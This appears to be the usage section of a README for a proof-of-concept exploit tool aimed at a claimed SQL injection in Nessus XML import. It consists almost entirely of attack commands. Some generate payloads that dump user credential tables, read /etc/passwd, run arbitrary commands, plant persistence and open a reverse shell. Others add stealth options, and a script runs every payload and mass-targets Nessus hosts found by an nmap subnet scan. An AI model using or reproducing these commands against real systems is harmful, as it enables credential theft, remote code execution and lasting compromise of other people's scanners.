# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

# Build the Docker image
docker build -t nessus-exploit .

# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

# Install as a package
pip install -e .

# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum

# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum

# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Show general help
python3 exploit.py --help

# Show generate command help
python3 exploit.py generate --help

# List all available payloads
python3 exploit.py list

python3 exploit.py generate -u https://test.com -p enum

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5

# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30

# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q

# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v

# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist

# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444

# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
    --proxy http://127.0.0.1:8080 \
    --no-ssl-verify \
    -q \
    -o stealth_scan.nessus

#!/bin/bash
# auto_exploit.sh - Automated exploitation script

TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

# Run all payloads
for payload in enum dump shell persist; do
    echo "[*] Running payload: $payload"
    python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done

# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"

# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
    echo "[*] Testing: $target"
    python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done

# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
    --file /etc/hosts \
    --command "systemctl status nessusd" \
    --table nessus_users \
    --columns username,password_hash,email,last_login \
    -v \
    --log-file evidence.log

# Generate all report formats
python3 exploit.py report -i results.json -o report

# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html

# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown

# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
pytest

# Format code
black exploit.py

# Check linting
flake8 exploit.py